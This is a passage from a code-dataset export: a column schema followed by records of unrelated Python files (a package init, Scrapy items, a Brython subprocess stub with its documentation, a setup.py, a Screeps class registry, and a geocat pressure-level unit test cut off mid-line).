hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
f6d14c3a0e50cbaa9937240a272a4ce70adc37f9
930
py
Python
django/publicmapping/redistricting/management/__init__.py
azavea/district-builder-dtl-pa
2906bc9eba52e5d9d05e3ed964990bd2c53f5e24
[ "Apache-2.0" ]
5
2018-08-18T13:34:21.000Z
2022-03-09T11:32:24.000Z
django/publicmapping/redistricting/management/__init__.py
azavea/district-builder-dtl-pa
2906bc9eba52e5d9d05e3ed964990bd2c53f5e24
[ "Apache-2.0" ]
66
2018-04-10T15:45:31.000Z
2019-12-13T18:19:10.000Z
django/publicmapping/redistricting/management/__init__.py
azavea/district-builder-dtl-pa
2906bc9eba52e5d9d05e3ed964990bd2c53f5e24
[ "Apache-2.0" ]
1
2018-10-28T16:28:10.000Z
2018-10-28T16:28:10.000Z
""" Define redistricting.management as a Python package. This file serves the purpose of defining a Python package for this folder. It is intentionally left empty. This file is part of The Public Mapping Project https://github.com/PublicMapping/ License: Copyright 2010-2012 Micah Altman, Michael McDonald Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Author: Andrew Jennings, David Zwarg """
33.214286
76
0.746237
137
930
5.065693
0.671533
0.086455
0.040346
0.04611
0
0
0
0
0
0
0
0.016238
0.205376
930
27
77
34.444444
0.922869
0.990323
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
f6e3189a5cfb70ec988b1b0fd36cdbdc80c9b9ba
313
py
Python
crawl/dirbot/items.py
okfde/odm-datenerfassung
b2c2ce03f03f66cb6966d36231e11fb62766fab3
[ "MIT" ]
5
2015-05-25T19:58:55.000Z
2022-02-11T16:19:40.000Z
crawl/dirbot/items.py
okfde/odm-datenerfassung
b2c2ce03f03f66cb6966d36231e11fb62766fab3
[ "MIT" ]
6
2015-01-01T10:57:15.000Z
2015-02-03T08:27:34.000Z
crawl/dirbot/items.py
okfde/odm-datenerfassung
b2c2ce03f03f66cb6966d36231e11fb62766fab3
[ "MIT" ]
null
null
null
from scrapy.item import Item, Field class Website(Item): name = Field() description = Field() url = Field() Stadt_URL = Field() URL_Datei = Field() URL_Text = Field() URL_Dateiname = Field() Format = Field() URL_PARENT = Field() Title_PARENT = Field() geo = Field()
18.411765
35
0.600639
37
313
4.918919
0.486486
0.21978
0
0
0
0
0
0
0
0
0
0
0.277955
313
16
36
19.5625
0.80531
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.076923
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
f6ecbcf40f6dd83120b01bc62047793e15b78d5a
16,440
py
Python
src/libraries/brython/Lib/subprocess.py
coursemdetw/reeborg_tw
953217f86a7ccb1e4807cf94f6e885643a484352
[ "MIT" ]
3
2017-04-04T06:18:16.000Z
2020-01-17T02:03:39.000Z
src/libraries/brython/Lib/subprocess.py
coursemdetw/reeborg_tw
953217f86a7ccb1e4807cf94f6e885643a484352
[ "MIT" ]
1
2019-07-08T05:28:59.000Z
2021-01-14T10:44:49.000Z
src/libraries/brython/Lib/subprocess.py
coursemdetw/reeborg_tw
953217f86a7ccb1e4807cf94f6e885643a484352
[ "MIT" ]
8
2017-06-27T05:38:52.000Z
2021-06-19T16:00:03.000Z
"""subprocess - Subprocesses with accessible I/O streams This module allows you to spawn processes, connect to their input/output/error pipes, and obtain their return codes. This module intends to replace several other, older modules and functions, like: os.system os.spawn* os.popen* popen2.* commands.* Information about how the subprocess module can be used to replace these modules and functions can be found below. Using the subprocess module =========================== This module defines one class called Popen: class Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0): Arguments are: args should be a string, or a sequence of program arguments. The program to execute is normally the first item in the args sequence or string, but can be explicitly set by using the executable argument. On UNIX, with shell=False (default): In this case, the Popen class uses os.execvp() to execute the child program. args should normally be a sequence. A string will be treated as a sequence with the string as the only item (the program to execute). On UNIX, with shell=True: If args is a string, it specifies the command string to execute through the shell. If args is a sequence, the first item specifies the command string, and any additional items will be treated as additional shell arguments. On Windows: the Popen class uses CreateProcess() to execute the child program, which operates on strings. If args is a sequence, it will be converted to a string using the list2cmdline method. Please note that not all MS Windows applications interpret the command line the same way: The list2cmdline is designed for applications using the same rules as the MS C runtime. bufsize, if given, has the same meaning as the corresponding argument to the built-in open() function: 0 means unbuffered, 1 means line buffered, any other positive value means use a buffer of (approximately) that size. A negative bufsize means to use the system default, which usually means fully buffered. The default value for bufsize is 0 (unbuffered). stdin, stdout and stderr specify the executed programs' standard input, standard output and standard error file handles, respectively. Valid values are PIPE, an existing file descriptor (a positive integer), an existing file object, and None. PIPE indicates that a new pipe to the child should be created. With None, no redirection will occur; the child's file handles will be inherited from the parent. Additionally, stderr can be STDOUT, which indicates that the stderr data from the applications should be captured into the same file handle as for stdout. If preexec_fn is set to a callable object, this object will be called in the child process just before the child is executed. If close_fds is true, all file descriptors except 0, 1 and 2 will be closed before the child process is executed. if shell is true, the specified command will be executed through the shell. If cwd is not None, the current directory will be changed to cwd before the child is executed. If env is not None, it defines the environment variables for the new process. If universal_newlines is true, the file objects stdout and stderr are opened as a text files, but lines may be terminated by any of '\n', the Unix end-of-line convention, '\r', the Macintosh convention or '\r\n', the Windows convention. All of these external representations are seen as '\n' by the Python program. Note: This feature is only available if Python is built with universal newline support (the default). Also, the newlines attribute of the file objects stdout, stdin and stderr are not updated by the communicate() method. The startupinfo and creationflags, if given, will be passed to the underlying CreateProcess() function. They can specify things such as appearance of the main window and priority for the new process. (Windows only) This module also defines some shortcut functions: call(*popenargs, **kwargs): Run command with arguments. Wait for command to complete, then return the returncode attribute. The arguments are the same as for the Popen constructor. Example: retcode = call(["ls", "-l"]) check_call(*popenargs, **kwargs): Run command with arguments. Wait for command to complete. If the exit code was zero then return, otherwise raise CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute. The arguments are the same as for the Popen constructor. Example: check_call(["ls", "-l"]) check_output(*popenargs, **kwargs): Run command with arguments and return its output as a byte string. If the exit code was non-zero it raises a CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute and output in the output attribute. The arguments are the same as for the Popen constructor. Example: output = check_output(["ls", "-l", "/dev/null"]) Exceptions ---------- Exceptions raised in the child process, before the new program has started to execute, will be re-raised in the parent. Additionally, the exception object will have one extra attribute called 'child_traceback', which is a string containing traceback information from the childs point of view. The most common exception raised is OSError. This occurs, for example, when trying to execute a non-existent file. Applications should prepare for OSErrors. A ValueError will be raised if Popen is called with invalid arguments. check_call() and check_output() will raise CalledProcessError, if the called process returns a non-zero return code. Security -------- Unlike some other popen functions, this implementation will never call /bin/sh implicitly. This means that all characters, including shell metacharacters, can safely be passed to child processes. Popen objects ============= Instances of the Popen class have the following methods: poll() Check if child process has terminated. Returns returncode attribute. wait() Wait for child process to terminate. Returns returncode attribute. communicate(input=None) Interact with process: Send data to stdin. Read data from stdout and stderr, until end-of-file is reached. Wait for process to terminate. The optional input argument should be a string to be sent to the child process, or None, if no data should be sent to the child. communicate() returns a tuple (stdout, stderr). Note: The data read is buffered in memory, so do not use this method if the data size is large or unlimited. The following attributes are also available: stdin If the stdin argument is PIPE, this attribute is a file object that provides input to the child process. Otherwise, it is None. stdout If the stdout argument is PIPE, this attribute is a file object that provides output from the child process. Otherwise, it is None. stderr If the stderr argument is PIPE, this attribute is file object that provides error output from the child process. Otherwise, it is None. pid The process ID of the child process. returncode The child return code. A None value indicates that the process hasn't terminated yet. A negative value -N indicates that the child was terminated by signal N (UNIX only). Replacing older functions with the subprocess module ==================================================== In this section, "a ==> b" means that b can be used as a replacement for a. Note: All functions in this section fail (more or less) silently if the executed program cannot be found; this module raises an OSError exception. In the following examples, we assume that the subprocess module is imported with "from subprocess import *". Replacing /bin/sh shell backquote --------------------------------- output=`mycmd myarg` ==> output = Popen(["mycmd", "myarg"], stdout=PIPE).communicate()[0] Replacing shell pipe line ------------------------- output=`dmesg | grep hda` ==> p1 = Popen(["dmesg"], stdout=PIPE) p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE) output = p2.communicate()[0] Replacing os.system() --------------------- sts = os.system("mycmd" + " myarg") ==> p = Popen("mycmd" + " myarg", shell=True) pid, sts = os.waitpid(p.pid, 0) Note: * Calling the program through the shell is usually not required. * It's easier to look at the returncode attribute than the exitstatus. A more real-world example would look like this: try: retcode = call("mycmd" + " myarg", shell=True) if retcode < 0: print >>sys.stderr, "Child was terminated by signal", -retcode else: print >>sys.stderr, "Child returned", retcode except OSError, e: print >>sys.stderr, "Execution failed:", e Replacing os.spawn* ------------------- P_NOWAIT example: pid = os.spawnlp(os.P_NOWAIT, "/bin/mycmd", "mycmd", "myarg") ==> pid = Popen(["/bin/mycmd", "myarg"]).pid P_WAIT example: retcode = os.spawnlp(os.P_WAIT, "/bin/mycmd", "mycmd", "myarg") ==> retcode = call(["/bin/mycmd", "myarg"]) Vector example: os.spawnvp(os.P_NOWAIT, path, args) ==> Popen([path] + args[1:]) Environment example: os.spawnlpe(os.P_NOWAIT, "/bin/mycmd", "mycmd", "myarg", env) ==> Popen(["/bin/mycmd", "myarg"], env={"PATH": "/usr/bin"}) Replacing os.popen* ------------------- pipe = os.popen("cmd", mode='r', bufsize) ==> pipe = Popen("cmd", shell=True, bufsize=bufsize, stdout=PIPE).stdout pipe = os.popen("cmd", mode='w', bufsize) ==> pipe = Popen("cmd", shell=True, bufsize=bufsize, stdin=PIPE).stdin (child_stdin, child_stdout) = os.popen2("cmd", mode, bufsize) ==> p = Popen("cmd", shell=True, bufsize=bufsize, stdin=PIPE, stdout=PIPE, close_fds=True) (child_stdin, child_stdout) = (p.stdin, p.stdout) (child_stdin, child_stdout, child_stderr) = os.popen3("cmd", mode, bufsize) ==> p = Popen("cmd", shell=True, bufsize=bufsize, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True) (child_stdin, child_stdout, child_stderr) = (p.stdin, p.stdout, p.stderr) (child_stdin, child_stdout_and_stderr) = os.popen4("cmd", mode, bufsize) ==> p = Popen("cmd", shell=True, bufsize=bufsize, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) (child_stdin, child_stdout_and_stderr) = (p.stdin, p.stdout) On Unix, os.popen2, os.popen3 and os.popen4 also accept a sequence as the command to execute, in which case arguments will be passed directly to the program without shell intervention. This usage can be replaced as follows: (child_stdin, child_stdout) = os.popen2(["/bin/ls", "-l"], mode, bufsize) ==> p = Popen(["/bin/ls", "-l"], bufsize=bufsize, stdin=PIPE, stdout=PIPE) (child_stdin, child_stdout) = (p.stdin, p.stdout) Return code handling translates as follows: pipe = os.popen("cmd", 'w') ... rc = pipe.close() if rc is not None and rc % 256: print "There were some errors" ==> process = Popen("cmd", 'w', shell=True, stdin=PIPE) ... process.stdin.close() if process.wait() != 0: print "There were some errors" Replacing popen2.* ------------------ (child_stdout, child_stdin) = popen2.popen2("somestring", bufsize, mode) ==> p = Popen(["somestring"], shell=True, bufsize=bufsize stdin=PIPE, stdout=PIPE, close_fds=True) (child_stdout, child_stdin) = (p.stdout, p.stdin) On Unix, popen2 also accepts a sequence as the command to execute, in which case arguments will be passed directly to the program without shell intervention. This usage can be replaced as follows: (child_stdout, child_stdin) = popen2.popen2(["mycmd", "myarg"], bufsize, mode) ==> p = Popen(["mycmd", "myarg"], bufsize=bufsize, stdin=PIPE, stdout=PIPE, close_fds=True) (child_stdout, child_stdin) = (p.stdout, p.stdin) The popen2.Popen3 and popen2.Popen4 basically works as subprocess.Popen, except that: * subprocess.Popen raises an exception if the execution fails * the capturestderr argument is replaced with the stderr argument. * stdin=PIPE and stdout=PIPE must be specified. * popen2 closes all filedescriptors by default, but you have to specify close_fds=True with subprocess.Popen. """ CREATE_NEW_CONSOLE = 16 CREATE_NEW_PROCESS_GROUP = 512 class CalledProcessError(Exception): pass MAXFD = 256 PIPE = -1 class Popen(object): pass STARTF_USESHOWWINDOW = 1 STARTF_USESTDHANDLES = 256 class STARTUPINFO: pass STDOUT = -2 STD_ERROR_HANDLE = -12 STD_INPUT_HANDLE = -10 STD_OUTPUT_HANDLE = -11 SW_HIDE = 0 __all__ = "['Popen', 'PIPE', 'STDOUT', 'call', 'check_call', 'check_output', 'CalledProcessError', 'CREATE_NEW_CONSOLE', 'CREATE_NEW_PROCESS_GROUP', 'STD_INPUT_HANDLE', 'STD_OUTPUT_HANDLE', 'STD_ERROR_HANDLE', 'SW_HIDE', 'STARTF_USESTDHANDLES', 'STARTF_USESHOWWINDOW']" _active = "[]" def _cleanup(*args,**kw): pass def _demo_posix(*args,**kw): pass def _demo_windows(*args,**kw): pass def _eintr_retry_call(*args,**kw): pass _subprocess = "<module '_subprocess' (built-in)>" def call(*args,**kw): """Run command with arguments. Wait for command to complete, then return the returncode attribute. The arguments are the same as for the Popen constructor. Example: retcode = call(["ls", "-l"]) """ pass def check_call(*args,**kw): """Run command with arguments. Wait for command to complete. If the exit code was zero then return, otherwise raise CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute. The arguments are the same as for the Popen constructor. Example: check_call(["ls", "-l"]) """ pass def check_output(*args,**kw): """Run command with arguments and return its output as a byte string. If the exit code was non-zero it raises a CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute and output in the output attribute. The arguments are the same as for the Popen constructor. Example: >>> check_output(["ls", "-l", "/dev/null"]) 'crw-rw-rw- 1 root root 1, 3 Oct 18 2007 /dev/null\n' The stdout argument is not allowed as it is used internally. To capture standard error in the result, use stderr=STDOUT. >>> check_output(["/bin/sh", "-c", ... "ls -l non_existent_file ; exit 0"], ... stderr=STDOUT) 'ls: non_existent_file: No such file or directory\n' """ pass errno = "<module 'errno' (built-in)>" gc = "<module 'gc' (built-in)>" def list2cmdline(*args,**kw): """ Translate a sequence of arguments into a command line string, using the same rules as the MS C runtime: 1) Arguments are delimited by white space, which is either a space or a tab. 2) A string surrounded by double quotation marks is interpreted as a single argument, regardless of white space contained within. A quoted string can be embedded in an argument. 3) A double quotation mark preceded by a backslash is interpreted as a literal double quotation mark. 4) Backslashes are interpreted literally, unless they immediately precede a double quotation mark. 5) If backslashes immediately precede a double quotation mark, every pair of backslashes is interpreted as a literal backslash. If the number of backslashes is odd, the last backslash escapes the next double quotation mark as described in rule 3. """ pass msvcrt = "<module 'msvcrt' (built-in)>" mswindows = True os = "<module 'os' from 'c:\python27\lib\os.pyc'>" class pywintypes: pass signal = "<module 'signal' (built-in)>" sys = "<module 'sys' (built-in)>" threading = "<module 'threading' from 'c:\python27\lib\threading.pyc'>" traceback = "<module 'traceback' from 'c:\python27\lib\traceback.pyc'>" types = "<module 'types' from 'c:\python27\lib\types.pyc'>"
31.554702
128
0.698844
2,371
16,440
4.799663
0.203712
0.011951
0.010545
0.014763
0.301054
0.269772
0.228647
0.21819
0.20123
0.188225
0
0.006694
0.200304
16,440
520
129
31.615385
0.858903
0
0
0.24
0
0.02
0.375989
0.093008
0
0
0
0
0
0
null
null
0.24
0
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
100ba5e890c3ecd040448a4f81da7ceaf2f8fd3c
392
py
Python
src/ros/src/ros_homebot_lrf/setup.py
chrisspen/homebot
cd1a5a2bddcb90d50a00e67b94297942827fbc61
[ "MIT" ]
8
2017-11-19T01:42:59.000Z
2021-02-08T09:18:58.000Z
src/ros/src/ros_homebot_lrf/setup.py
chrisspen/homebot
cd1a5a2bddcb90d50a00e67b94297942827fbc61
[ "MIT" ]
24
2017-02-14T16:50:02.000Z
2017-06-07T18:38:20.000Z
src/ros/src/ros_homebot_lrf/setup.py
chrisspen/homebot
cd1a5a2bddcb90d50a00e67b94297942827fbc61
[ "MIT" ]
6
2017-05-17T03:07:05.000Z
2019-11-14T09:33:06.000Z
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['ros_homebot_lrf'], package_dir={'': 'src'}, # install_requires=[ # 'Pillow>=2.3.0', # 'numpy>=1.8.2', # 'pytest>=1.6.1', # 'PyYAML>=3.11', # 'scipy>=0.16.1', # ], ) setup(**d)
20.631579
60
0.579082
52
392
4.173077
0.673077
0.156682
0.202765
0
0
0
0
0
0
0
0
0.053156
0.232143
392
18
61
21.777778
0.667774
0.441327
0
0
1
0
0.085308
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.285714
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
63dc65c1cf57fbbde50c72ac05783ed7fac8ab1c
555
py
Python
src/creeps/__init__.py
ppolewicz/screeps-starter-python
dd2f5646a53c9353bf99e976e5f362e297715e96
[ "MIT" ]
null
null
null
src/creeps/__init__.py
ppolewicz/screeps-starter-python
dd2f5646a53c9353bf99e976e5f362e297715e96
[ "MIT" ]
null
null
null
src/creeps/__init__.py
ppolewicz/screeps-starter-python
dd2f5646a53c9353bf99e976e5f362e297715e96
[ "MIT" ]
null
null
null
from creeps.builder import Builder from creeps.harvester import Harvester from creeps.miner import Miner from creeps.hauler import Hauler from creeps.scout import Scout from creeps.claimer import Claimer from creeps.upgrader import Upgrader from creeps.settler import Settler from creeps.cleanser import Cleanser CREEP_CLASSES = dict({ 'builder': Builder, 'harvester': Harvester, 'miner': Miner, 'hauler': Hauler, 'scout': Scout, 'claimer': Claimer, 'upgrader': Upgrader, 'settler': Settler, 'cleanser': Cleanser, })
24.130435
38
0.736937
66
555
6.181818
0.227273
0.220588
0
0
0
0
0
0
0
0
0
0
0.172973
555
22
39
25.227273
0.888889
0
0
0
0
0
0.111712
0
0
0
0
0
0
1
0
false
0
0.45
0
0.45
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
120011f715c9374a621c118af4124b349fcab0c8
6,671
py
Python
test/test_dpres_plevel.py
NCAR/geocat-f2py
fee07e680f61ca2ebfbb33f1554d9d85271fa32a
[ "Apache-2.0" ]
4
2021-02-20T20:02:11.000Z
2021-11-24T13:35:32.000Z
test/test_dpres_plevel.py
NCAR/geocat-f2py
fee07e680f61ca2ebfbb33f1554d9d85271fa32a
[ "Apache-2.0" ]
27
2020-12-07T17:00:05.000Z
2022-03-24T16:42:17.000Z
test/test_dpres_plevel.py
NCAR/geocat-f2py
fee07e680f61ca2ebfbb33f1554d9d85271fa32a
[ "Apache-2.0" ]
4
2021-01-07T01:50:11.000Z
2021-07-07T13:05:42.000Z
import sys import time import unittest as ut import numpy as np import numpy.testing as nt import xarray as xr # Import from directory structure if coverage test, or from installed # packages otherwise if "--cov" in str(sys.argv): from src.geocat.f2py import dpres_plevel else: from geocat.f2py import dpres_plevel # Expected Output # Pressure levels (Pa) pressure_levels = np.array([ 1000., 950., 900., 850., 800., 750., 700., 650., 600., 550., 500., 450., 400., 350., 300., 250., 200., 175., 150., 125., 100., 80., 70., 60., 50., 40., 30., 25., 20., 10. ]) # units hPa # convert hPa to Pa pressure_levels = pressure_levels * 100.0 pressure_levels_asfloat32 = pressure_levels.astype(np.float32) # Surface pressure (scalar and 2D, as well as 2D with np.nan and -99 missing values) pressure_surface_scalar = 101800.0 # Units of Pa pressure_surface_2d = np.array([1018.0, 1016.0, 1014.0, 1012.0]).reshape(2, 2) # Units of Pa pressure_surface_2d = pressure_surface_2d * 100 pressure_surface_2d_asfloat32 = pressure_surface_2d.astype(np.float32) # missing value of np.nan pressure_surface_2d_nan = pressure_surface_2d.copy() pressure_surface_2d_nan[0, 1] = np.nan pressure_surface_2d_nan_asfloat32 = pressure_surface_2d_nan.astype(np.float32) # missing value of -99 pressure_surface_2d_msg = pressure_surface_2d_nan.copy() pressure_surface_2d_msg[np.isnan(pressure_surface_2d_msg)] = -99.0 pressure_surface_2d_msg_asfloat32 = pressure_surface_2d_msg.astype(np.float32) # Expected Output # for scalar pressure_surface expected_dp_psfc_scalar = np.array([ 4300., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 3750., 2500., 2500., 2500., 2250., 1500., 1000., 1000., 1000., 1000., 750., 500., 750., 500. ]) # for 2D pressure_surface expected_dp_psfc_2d = np.array([ 4300., 4100., 3900., 3700., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 5000., 3750., 3750., 3750., 3750., 2500., 2500., 2500., 2500., 2500., 2500., 2500., 2500., 2500., 2500., 2500., 2500., 2250., 2250., 2250., 2250., 1500., 1500., 1500., 1500., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 1000., 750., 750., 750., 750., 500., 500., 500., 500., 750., 750., 750., 750., 500., 500., 500., 500. ]).reshape(30, 2, 2) # for msg_py = -np.nan input expected_dp_psfc_2d_msg_nan = expected_dp_psfc_2d.copy() expected_dp_psfc_2d_msg_nan[0, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[1, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[2, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[3, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[4, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[5, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[6, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[7, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[8, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[9, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[10, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[11, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[12, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[13, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[14, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[15, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[16, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[17, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[18, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[19, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[20, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[21, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[22, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[23, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[24, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[25, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[26, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[27, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[28, 0, 1] = np.nan expected_dp_psfc_2d_msg_nan[29, 0, 1] = np.nan # for msg_py = -99 input expected_dp_psfc_2d_msg_99 = expected_dp_psfc_2d_msg_nan.copy() expected_dp_psfc_2d_msg_99[np.isnan(expected_dp_psfc_2d_msg_99)] = -99.0 class Test_dpres_plevel_float64_psfc_scalar(ut.TestCase): def test_dpres_plevel_float64(self): result_dp = dpres_plevel(pressure_levels, pressure_surface_scalar) nt.assert_array_equal(expected_dp_psfc_scalar, result_dp.values) class Test_dpres_plevel_float64_psfc_2d(ut.TestCase): def test_dpres_plevel_float64(self): result_dp = dpres_plevel(pressure_levels, pressure_surface_2d) nt.assert_array_equal(expected_dp_psfc_2d, result_dp.values) def test_dpres_plevel_float64_msg_nan(self): result_dp = dpres_plevel(pressure_levels, pressure_surface_2d_nan) nt.assert_array_equal(expected_dp_psfc_2d_msg_nan, result_dp.values) def test_dpres_plevel_float64_msg_99(self): result_dp = dpres_plevel(pressure_levels, pressure_surface_2d_msg, msg_py=-99.0) nt.assert_array_equal(expected_dp_psfc_2d_msg_99, result_dp.values) class Test_dpres_plevel_float32_psfc_scalar(ut.TestCase): def test_dpres_plevel_float32(self): plev_asfloat32 = pressure_levels.astype(np.float32) result_dp = dpres_plevel(plev_asfloat32, pressure_surface_scalar) nt.assert_array_equal(expected_dp_psfc_scalar, result_dp.values) class Test_dpres_plevel_float32_psfc_2d(ut.TestCase): def test_dpres_plevel_float32(self): result_dp = dpres_plevel(pressure_levels_asfloat32, 